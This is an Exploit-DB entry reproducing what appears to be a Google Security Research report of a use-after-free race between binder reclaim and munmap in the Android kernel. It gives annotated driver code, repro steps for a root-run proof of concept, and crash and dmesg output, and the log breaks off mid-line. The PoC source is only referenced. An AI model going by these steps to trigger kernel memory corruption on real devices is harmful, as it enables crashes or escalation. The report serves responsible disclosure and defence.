Exploit-DB #46357
Description: Android - binder Use-After-Free of VMA via race Between reclaim and munmap
Type: dos
Platform: android
Date: 2019-02-12
Author: Google Security Research

Exploit:
The following bug report solely looks at the situation on the upstream master
branch; while from a cursory look, at least the wahoo kernel also looks
affected, I have only properly tested this on upstream master.

There is a race condition between the direct reclaim path (enters binder through
the binder_shrinker) and the munmap() syscall (enters binder through the ->close
handler of binder_vm_ops).

Coming from the munmap() syscall:

binder_vma_close()->binder_alloc_vma_close()->binder_alloc_set_vma() sets
alloc->vma to NULL without taking any extra locks; binder_vma_close() is called
from remove_vma()<-remove_vma_list()<-__do_munmap()<-__vm_munmap()<-sys_munmap()
with only the mmap_sem held for writing.

Coming through the direct reclaim path:

binder_alloc_free_page() doesn't hold the mmap_sem on entry. It contains the
following code (comments added by me):

enum lru_status binder_alloc_free_page(struct list_head *item,
                                       struct list_lru_one *lru,
                                       spinlock_t *lock,
                                       void *cb_arg)
{
[...]
        alloc = page->alloc;
        if (!mutex_trylock(&alloc->mutex))
                goto err_get_alloc_mutex_failed;

        if (!page->page_ptr)
                goto err_page_already_freed;

        index = page - alloc->pages;
        page_addr = (uintptr_t)alloc->buffer + index * PAGE_SIZE;
        // unprotected pointer read! `vma` can immediately be freed
        vma = binder_alloc_get_vma(alloc);
        if (vma) {
                if (!mmget_not_zero(alloc->vma_vm_mm))
                        goto err_mmget;
                mm = alloc->vma_vm_mm;
                if (!down_write_trylock(&mm->mmap_sem))
                        goto err_down_write_mmap_sem_failed;
                // mmap_sem is held at this point, but the vma pointer was read
                // before and can be dangling
        }

        list_lru_isolate(lru, item);
        spin_unlock(lock);

        if (vma) {
                trace_binder_unmap_user_start(alloc, index);

                // dangling vma pointer passed to zap_page_range
                zap_page_range(vma,
                               page_addr + alloc->user_buffer_offset,
                               PAGE_SIZE);

                trace_binder_unmap_user_end(alloc, index);

                up_write(&mm->mmap_sem);
                mmput(mm);
        }


Repro instructions:

Unpack the attached binder_race_freevma.tar.
Apply the patch 0001-binder-VMA-unprotected-read-helper.patch to an upstream
git master tree to widen the race window.
Make sure that KASAN is enabled in your kernel config.
Build and boot into the built kernel.
Run "echo 16383 > /sys/module/binder/parameters/debug_mask" for more dmesg debug
output.
Compile the PoC with ./compile.sh and, as root, run ./poc to trigger the bug.

The output of the PoC should look like this:
======================
# ./poc
### PING
0000: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000001  flags 00000010
  pid     1266  uid        0  data 4  offs 0
0000: 00 . 00 . 00 . 00 .
got transaction!
binder_send_reply(status=0)
offsets=0x7fffb76cf6c0, offsets_size=0
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid        0  data 4  offs 0
0000: 00 . 00 . 00 . 00 .
### FLUSHING PAGES
BR_NOOP:
BR_TRANSACTION_COMPLETE:
### END OF PAGE FLUSH
binder_done: freeing buffer
binder_done: free done
### PING DONE
### FLUSHING PAGES
$$$ sleeping before munmap...
$$$ calling munmap now...
$$$ munmap done
### END OF PAGE FLUSH
Killed
======================

The dmesg splat should look like this:
======================
[  803.130180] binder: binder_open: 1265:1265
[  803.132143] binder: binder_mmap: 1265 7fdcbc599000-7fdcbc999000 (4096 K) vma 71 pagep [PII_REDACTED]
[  803.135861] binder: 1265:1265 node 1 u[PII_REDACTED]000000 c[PII_REDACTED]000000 created
[  803.138748] binder: 1265:1265 write 4 at 00007fffb76cf820, read 0 at [PII_REDACTED]
[  803.141875] binder: 1265:1265 BC_ENTER_LOOPER
[  803.143634] binder: 1265:1265 wrote 4 of 4, read return 0 of 0
[  803.146073] binder: 1265:1265 write 0 at [PII_REDACTED], read 128 at 00007fffb76cf820
[  804.130600] binder: binder_open: 1266:1266
[  804.132909] binder: binder_mmap: 1266 7fdcbc599000-7fdcbc999000 (4096 K) vma 71 pagep [PII_REDACTED]
[  804.138535] binder: 1266:1266 write 68 at 00007fffb76cf850, read 128 at 00007fffb76cf7d0
[  804.142411] binder: 1266:1266 BC_TRANSACTION 2 -> 1265 - node 1, data 00007fffb76cf9a0-00007fffb76cf980 size 4-0-0
[  804.146208] binder: 1265:1265 BR_TRANSACTION 2 1266:1266, cmd [PII_REDACTED] size 4-0 ptr 00007fdcbc[PII_REDACTED]7fdcbc599008
[  804.152836] binder: 1265:1265 wrote 0 of 0, read return 72 of 128
[  804.156944] binder: 1265:1265 write 88 at 00007fffb76cf5a0, read 0 at [PII_REDACTED]
[  804.159315] binder: 1265:1265 BC_FREE_BUFFER u00007fdcbc599000 found buffer 2 for active transaction
[  804.161715] binder: 1265 buffer release 2, size 4-0, failed at 000000003c152ea0
[  804.164114] binder: 1265:1265 BC_REPLY 3 -> 1266:1266, data 00007fffb76cf6e0-00007fffb76cf6c0 size 4-0-0
[  804.166646] binder: 1265:1265 wrote 88 of 88, read return 0 of 0
[  804.166756] binder: 1266:1266 BR_TRANSACTION_COMPLETE
[  804.168323] binder: 1265:1265 write 0 at [PII_REDACTED], read 128 at 00007fffb76cf820
[  804.169876] binder: 1266:1266 BR_REPLY 3 0:0, cmd [PII_REDACTED] size 4-0 ptr 00007fdcbc[PII_REDACTED]7fdcbc599008
[  804.171919] binder: 1265:1265 BR_TRANSACTION_COMPLETE
[  804.174743] binder: 1266:1266 wrote 68 of 68, read return 76 of 128
[  804.176003] binder: 1265:1265 wrote 0 of 0, read return 8 of 128
[  804.179416] binder: 1265:1265 write 0 at [PII_REDACTED], read 1